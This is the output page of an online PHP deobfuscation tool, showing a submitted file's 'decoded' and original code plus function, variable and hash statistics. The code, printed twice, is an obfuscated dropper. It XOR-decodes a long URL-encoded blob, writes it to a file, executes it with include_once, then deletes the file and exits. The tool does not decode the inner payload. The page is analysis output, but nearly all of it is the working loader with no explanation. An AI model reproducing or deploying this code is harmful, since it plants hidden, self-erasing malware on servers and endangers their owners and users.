Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                           
                                                                                                                                                                                                
function RhvkYBapRqv($fMQBsTocz, $vZsUZRsn)                                                                                                                                                     
{                                                                                                                                                                                               
    $fMQBsTocz = urldecode($fMQBsTocz);                                                                                                                                                         
    $qlqvEs = str_split($fMQBsTocz);                                                                                                                                                            
    $action = "";                                                                                                                                                                               
    for ($i = 0; $i < strlen($fMQBsTocz);$i++) {                                                                                                                                                
        $action .= $qlqvEs[$i] ^ $vZsUZRsn[$i%10];                                                                                                                                              
    }                                                                                                                                                                                           
    return $action;                                                                                                                                                                             
}                                                                                                                                                                                               
                                                                                                                                                                                                
$i="Ln%1A%1F%02%5Bl%23%1A%16%19%0E%19%12%06%7EA%06%01%0A%1F%235%1B%1D1AOS6%25%1D%26%5EI%5Bl%23%1A%16%19%0E%19%12%06%7EA%0F%1C%1F%2F4%18%05%1D%24%15D_X%40xQzx%16%0F%0D%1A%27%034%1E_U%3B%07%1B% 
2C%1D%084%09%02%06%3F%09%0D%2C%0C%19%3C%0FP%5EvVJHuz%11%19%12%06%09%12%0A%1E%1D%2F%3D%03%1A%1B%22NSZC%7D%5Bg%7D%7F%5C%00%16%1D%1B%048%05%19R%25%0E%07%03PT5%0B%03%13zFG%18%1D%09xg%7D%09%5BlCSX 
Pu%05%02%06%09%02%02%07%19PlJUPmkiSXPq%0C%18%00vNG%1AXMqZLRr%0FCOX%03%25%18%1B%178NG%17%19%040CL%5Bv%1DnyXPqJWRvF%05%1C%0APyN%1DRkFSHXT%3BJKR%25%12%11%1F%1D%1EyN%1C%17%2FOCU%5EPu%03WNv%15%17% 
01%14%15%3FBS%167%12%02ZCPu%00%5CYzFG%1AS%5BxJ%0C%7F%5CFCSXPqJWRvFCW%17%05%255%13%13%22%07C%5DEP2%02%05Z9%14%07%5B%5C%140%1E%16%29r%0F%3EZX.q%05%05%16%7EB%08%16%01%2Bu%00%2A%5B%7F%5DnyXPqJWRv 
F%1E%7ErPqJW%0F%5BlCSXP%23%0F%03%07%24%08CW%17%05%255%13%13%22%07X%7Er%0D%5C%60%1E%14vN%0A%00%0B%15%25BS-%11%237%28NGb%5EDG%0BOJ%7Er%0B%5C%60WRvF%07%1A%1DX%3C%0EBZbQTBJYxQzx%2BkiW%0C%15%3C%1A 
J%13%24%14%02%0A%27%1D4%18%10%17%7EB%3C07%3F%1A%232%5EvB%3C%237%23%05CL%7F%5C%00%0C%01%1D%112%02WZr%12%06%1E%08P0%19WV2%07%17%12%27%1B4%13WOhFG%17%19%040CW%09%5BlCSXPu%0E%16%067F%5ES8%05%3F%1 
9%12%00%3F%07%0F%1A%02%15y%19%1F%16%26N%10%1B%1C%00y%08%16%013PW%2C%1C%152%05%13%17%7EB%07%12%0C%11xFWU%24%03%1BEN%05%21%0BBK%3B%12V%19%40%1Ff%1B%11%00%3C%14%09BKI%3C%0F%0F%117%10%15%03%13WxF 
WV2%07%17%12%27%1B4%13%5E%5BmkiSXPq%03%11R%7E%0F%10%00%1D%04yN%13%13%22%078T%19%1Bv7%5E%5Bv%1DnyXPqJWRvF%0A%15XXu%0E%16%067%3DD%12_-qWJRq%0FDZX%0B%5C%60WRvFCSXPqJWRr%0FCNX%11%23%18%16%0B%7Eki 
SXPqJWRvFCSXPqJWU%26%10DSENq%2A%07%1A%26%10%06%01%0B%19%3E%04_%5BzkiSXPqJWRvFCSXPqJWU%25%10DSENqMF%5CfKRTT%7D%5BJWRvFCSXPqJW%5BmkiSXPqJWRvFCSX%152%02%18R%16%15%06%01%11%11%3D%03%0D%17%7EB%0AZ 
C%7D%5BJWRvFCSX%0Dq%0F%1B%013%0F%05SPT5%0B%03%13%0DA%02T%25PlWWU3AJS%03%7D%5BJWRvFCSXPqJW%17+%07%0F%5B%5C%140%1E%16%29q%02D.QK%5C%60WRvFCSXP%2Cg%7DRvFCSXPq%0F%0F%1B%22NJHuzqJWR%2Bki%0E";      
$j="%168%06%12-%26%13%17%2C%1B%1F%3F%1E%12%1C%22%15";                                                                                                                                           
                                                                                                                                                                                                
$WbxtntkpJ="pQjwrVfcsxdz";                                                                                                                                                                      
                                                                                                                                                                                                
$k = RhvkYBapRqv($i, $WbxtntkpJ);                                                                                                                                                               
$f = RhvkYBapRqv($j, $WbxtntkpJ);                                                                                                                                                               
$f($WbxtntkpJ, $k);                                                                                                                                                                             
include_once ($WbxtntkpJ);                                                                                                                                                                      
unlink($WbxtntkpJ);                                                                                                                                                                             
exit();                                                                                                                                                                                         
                                                                                                                                                                                                ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                          
                                                                                                                                                                                               
function RhvkYBapRqv($fMQBsTocz, $vZsUZRsn)                                                                                                                                                    
{                                                                                                                                                                                              
    $fMQBsTocz = urldecode($fMQBsTocz);                                                                                                                                                        
    $qlqvEs = str_split($fMQBsTocz);                                                                                                                                                           
    $action = "";                                                                                                                                                                              
    for ($i = 0; $i < strlen($fMQBsTocz);$i++) {                                                                                                                                               
        $action .= $qlqvEs[$i] ^ $vZsUZRsn[$i%10];                                                                                                                                             
    }                                                                                                                                                                                          
    return $action;                                                                                                                                                                            
}                                                                                                                                                                                              
                                                                                                                                                                                               
$i="Ln%1A%1F%02%5Bl%23%1A%16%19%0E%19%12%06%7EA%06%01%0A%1F%235%1B%1D1AOS6%25%1D%26%5EI%5Bl%23%1A%16%19%0E%19%12%06%7EA%0F%1C%1F%2F4%18%05%1D%24%15D_X%40xQzx%16%0F%0D%1A%27%034%1E_U%3B%07%1B%
2C%1D%084%09%02%06%3F%09%0D%2C%0C%19%3C%0FP%5EvVJHuz%11%19%12%06%09%12%0A%1E%1D%2F%3D%03%1A%1B%22NSZC%7D%5Bg%7D%7F%5C%00%16%1D%1B%048%05%19R%25%0E%07%03PT5%0B%03%13zFG%18%1D%09xg%7D%09%5BlCSX
Pu%05%02%06%09%02%02%07%19PlJUPmkiSXPq%0C%18%00vNG%1AXMqZLRr%0FCOX%03%25%18%1B%178NG%17%19%040CL%5Bv%1DnyXPqJWRvF%05%1C%0APyN%1DRkFSHXT%3BJKR%25%12%11%1F%1D%1EyN%1C%17%2FOCU%5EPu%03WNv%15%17%
01%14%15%3FBS%167%12%02ZCPu%00%5CYzFG%1AS%5BxJ%0C%7F%5CFCSXPqJWRvFCW%17%05%255%13%13%22%07C%5DEP2%02%05Z9%14%07%5B%5C%140%1E%16%29r%0F%3EZX.q%05%05%16%7EB%08%16%01%2Bu%00%2A%5B%7F%5DnyXPqJWRv
F%1E%7ErPqJW%0F%5BlCSXP%23%0F%03%07%24%08CW%17%05%255%13%13%22%07X%7Er%0D%5C%60%1E%14vN%0A%00%0B%15%25BS-%11%237%28NGb%5EDG%0BOJ%7Er%0B%5C%60WRvF%07%1A%1DX%3C%0EBZbQTBJYxQzx%2BkiW%0C%15%3C%1A
J%13%24%14%02%0A%27%1D4%18%10%17%7EB%3C07%3F%1A%232%5EvB%3C%237%23%05CL%7F%5C%00%0C%01%1D%112%02WZr%12%06%1E%08P0%19WV2%07%17%12%27%1B4%13WOhFG%17%19%040CW%09%5BlCSXPu%0E%16%067F%5ES8%05%3F%1
9%12%00%3F%07%0F%1A%02%15y%19%1F%16%26N%10%1B%1C%00y%08%16%013PW%2C%1C%152%05%13%17%7EB%07%12%0C%11xFWU%24%03%1BEN%05%21%0BBK%3B%12V%19%40%1Ff%1B%11%00%3C%14%09BKI%3C%0F%0F%117%10%15%03%13WxF
WV2%07%17%12%27%1B4%13%5E%5BmkiSXPq%03%11R%7E%0F%10%00%1D%04yN%13%13%22%078T%19%1Bv7%5E%5Bv%1DnyXPqJWRvF%0A%15XXu%0E%16%067%3DD%12_-qWJRq%0FDZX%0B%5C%60WRvFCSXPqJWRr%0FCNX%11%23%18%16%0B%7Eki
SXPqJWRvFCSXPqJWU%26%10DSENq%2A%07%1A%26%10%06%01%0B%19%3E%04_%5BzkiSXPqJWRvFCSXPqJWU%25%10DSENqMF%5CfKRTT%7D%5BJWRvFCSXPqJW%5BmkiSXPqJWRvFCSX%152%02%18R%16%15%06%01%11%11%3D%03%0D%17%7EB%0AZ
C%7D%5BJWRvFCSX%0Dq%0F%1B%013%0F%05SPT5%0B%03%13%0DA%02T%25PlWWU3AJS%03%7D%5BJWRvFCSXPqJW%17+%07%0F%5B%5C%140%1E%16%29q%02D.QK%5C%60WRvFCSXP%2Cg%7DRvFCSXPq%0F%0F%1B%22NJHuzqJWR%2Bki%0E";     
$j="%168%06%12-%26%13%17%2C%1B%1F%3F%1E%12%1C%22%15";                                                                                                                                          
                                                                                                                                                                                               
$WbxtntkpJ="pQjwrVfcsxdz";                                                                                                                                                                     
                                                                                                                                                                                               
$k = RhvkYBapRqv($i, $WbxtntkpJ);                                                                                                                                                              
$f = RhvkYBapRqv($j, $WbxtntkpJ);                                                                                                                                                              
$f($WbxtntkpJ, $k);                                                                                                                                                                            
include_once ($WbxtntkpJ);                                                                                                                                                                     
unlink($WbxtntkpJ);                                                                                                                                                                            
exit();                                                                                                                                                                                        
                                                                                                                                                                                               

Function Calls

str_split 1
urldecode 1
RhvkYBapRqv 1

Variables

$i Ln%1A%1F%02%5Bl%23%1A%16%19%0E%19%12%06%7EA%06%01%0A%1F%235%..
$j %168%06%12-%26%13%17%2C%1B%1F%3F%1E%12%1C%22%15
$vZsUZRsn pQjwrVfcsxdz
$WbxtntkpJ pQjwrVfcsxdz
$fMQBsTocz Ln[l#~A #51AOS6%&^I[l#~A/4$D_X@xQzx '4_U;% 2C4 ? , <P^vVJH..

Stats

MD5 811f747a2c86fae4ea5a3c4da913c261
Eval Count 0
Decode Time 71 ms